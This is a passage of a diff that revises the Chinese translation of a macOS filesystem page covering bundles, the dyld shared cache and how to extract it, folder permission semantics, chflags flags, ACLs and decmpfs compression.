+* **`.noindex`**:具有此扩展名的文件和文件夹不会被 Spotlight 索引。
+* **`.sdef`**:捆绑包中的文件,指定如何从 AppleScript 与应用程序进行交互。
-### macOS捆绑包
+### macOS 捆绑包
-捆绑包是一个**看起来像Finder中的对象的目录**(`*.app`文件是捆绑包的一个示例)。
+捆绑包是一个**看起来像 Finder 中的对象的目录**(`*.app` 文件是捆绑包的一个示例)。
{% content-ref url="macos-bundles.md" %}
[macos-bundles.md](macos-bundles.md)
{% endcontent-ref %}
-## Dyld共享库缓存(SLC)
+## Dyld 共享库缓存(SLC)
-在macOS(和iOS)中,所有系统共享库,如框架和dylibs,都**合并到一个文件**中,称为**dyld共享缓存**。这提高了性能,因为代码可以更快地加载。
+在 macOS(和 iOS)中,所有系统共享库,如框架和 dylibs,都**合并到一个单个文件**中,称为**dyld 共享缓存**。这提高了性能,因为代码可以更快地加载。
-在macOS中,它位于`/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/`,在旧版本中,您可能会在**`/System/Library/dyld/`**中找到**共享缓存**。\
-在iOS中,您可以在**`/System/Library/Caches/com.apple.dyld/`**中找到它们。
+在 macOS 中,它位于 `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/`,在旧版本中,您可能会在 **`/System/Library/dyld/`** 中找到**共享缓存**。\
+在 iOS 中,您可以在 **`/System/Library/Caches/com.apple.dyld/`** 中找到它们。
-与dyld共享缓存类似,内核和内核扩展也编译到内核缓存中,在启动时加载。
+与 dyld 共享缓存类似,内核和内核扩展也编译到一个内核缓存中,在启动时加载。
-为了从单个文件dylib共享缓存中提取库,可以使用二进制文件[dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip),这可能在现在无法使用,但您也可以使用[**dyldextractor**](https://github.com/arandomdev/dyldextractor):
+为了从单个文件 dylib 共享缓存中提取库,可以使用二进制文件 [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip),这可能在现在无法使用,但您也可以使用 [**dyldextractor**](https://github.com/arandomdev/dyldextractor):
```bash
# dyld_shared_cache_util
dyld_shared_cache_util -extract ~/shared_cache/ /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@@ -122,9 +123,9 @@ dyldex_all [dyld_shared_cache_path] # Extract all
**`dyld`** 使用系统调用 **`shared_region_check_np`** 来检查 SLC 是否已映射(返回地址),并使用 **`shared_region_map_and_slide_np`** 来映射 SLC。
-请注意,即使 SLC 在第一次使用时被滑动,所有**进程**都使用**相同的副本**,如果攻击者能够在系统中运行进程,则**消除了 ASLR** 保护。这实际上在过去被利用过,并通过共享区域分页器进行修复。
+请注意,即使 SLC 在第一次使用时被滑动,所有**进程**都使用**相同的副本**,如果攻击者能够在系统中运行进程,则**消除了 ASLR** 保护。 这实际上在过去被利用过,并通过共享区域分页器进行了修复。
-分支池是创建图像映射之间的小空间的小 Mach-O dylibs,使得无法插入函数。
+分支池是创建图像映射之间的小空间的小 Mach-O dylibs,使得不可能插入函数。
### 覆盖 SLCs
@@ -137,26 +138,26 @@ dyldex_all [dyld_shared_cache_path] # Extract all
### 文件夹权限
-在**文件夹**中,**读取**允许**列出**它,**写入**允许**删除**和**写入**文件,**执行**允许**遍历**目录。因此,例如,一个用户对目录中的文件具有**读取权限**,但他**没有执行权限**,则**无法读取**该文件。
+在**文件夹**中,**读取**允许**列出**它,**写入**允许**删除**和**写入**文件,**执行**允许**遍历**目录。因此,例如,用户对**文件夹中的文件具有读取权限**,但他**没有执行权限**,则**无法读取**该文件。
### 标志修饰符
-文件中可以设置一些标志,使文件的行为不同。您可以使用 `ls -lO /path/directory` 检查目录中文件的标志
+文件中可能设置一些标志,使文件的行为不同。您可以使用 `ls -lO /path/directory` 检查目录中文件的标志
* **`uchg`**:称为**uchange**标志,将**阻止任何更改或删除**文件的操作。要设置它,请执行:`chflags uchg file.txt`
* root 用户可以**移除该标志**并修改文件
-* **`restricted`**:此标志使文件受到 SIP 的**保护**(您无法将此标志添加到文件)。
-* **`粘性位`**:如果一个带有粘性位的目录,**只有**目录的**所有者或 root 可以重命名或删除**文件。通常在 /tmp 目录上设置此标志,以防止普通用户删除或移动其他用户的文件。
+* **`restricted`**:此标志使文件受到 SIP 的**保护**(无法将此标志添加到文件)。
+* **`粘性位`**:如果一个目录具有粘性位,**只有**目录的**所有者或 root 可以重命名或删除**文件。通常在 /tmp 目录上设置此标志,以防止普通用户删除或移动其他用户的文件。
-所有标志都可以在文件 `sys/stat.h` 中找到(使用 `mdfind stat.h | grep stat.h` 查找),包括:
+所有标志都可以在文件 `sys/stat.h` 中找到(使用 `mdfind stat.h | grep stat.h` 查找),它们是:
-* `UF_SETTABLE` 0x0000ffff:所有者可更改标志的掩码。
+* `UF_SETTABLE` 0x0000ffff:可更改所有者标志的掩码。
* `UF_NODUMP` 0x00000001:不转储文件。
* `UF_IMMUTABLE` 0x00000002:文件不可更改。
* `UF_APPEND` 0x00000004:只能追加写入文件。
* `UF_OPAQUE` 0x00000008:目录对于联合是不透明的。
* `UF_COMPRESSED` 0x00000020:文件已压缩(某些文件系统)。
-* `UF_TRACKED` 0x00000040:设置此标志的文件不会收到删除/重命名的通知。
+* `UF_TRACKED` 0x00000040:设置此项的文件不会收到删除/重命名的通知。
* `UF_DATAVAULT` 0x00000080:需要读取和写入的授权。
* `UF_HIDDEN` 0x00008000:提示不应在 GUI 中显示此项。
* `SF_SUPPORTED` 0x009f0000:超级用户支持的标志掩码。
@@ -177,7 +178,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all
可以授予**目录**这些权限:`list`、`search`、`add_file`、`add_subdirectory`、`delete_child`、`delete_child`。\
对于**文件**:`read`、`write`、`append`、`execute`。
-当文件包含 ACLs 时,您将在列出权限时**找到一个 "+"**,如下所示:
+当文件包含 ACLs 时,您将在列出权限时**找到一个“+”**,如下所示:
```bash
ls -ld Movies
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
@@ -235,7 +236,7 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
扩展属性 `com.apple.decmpfs` 表示文件已加密存储,`ls -l` 将报告**大小为 0**,压缩数据位于此属性中。每当访问文件时,它将在内存中解密。
-可以使用 `ls -lO` 查看此属性,因为压缩文件还会标记为标志 `UF_COMPRESSED`。如果删除压缩文件,则使用 `chflags nocompressed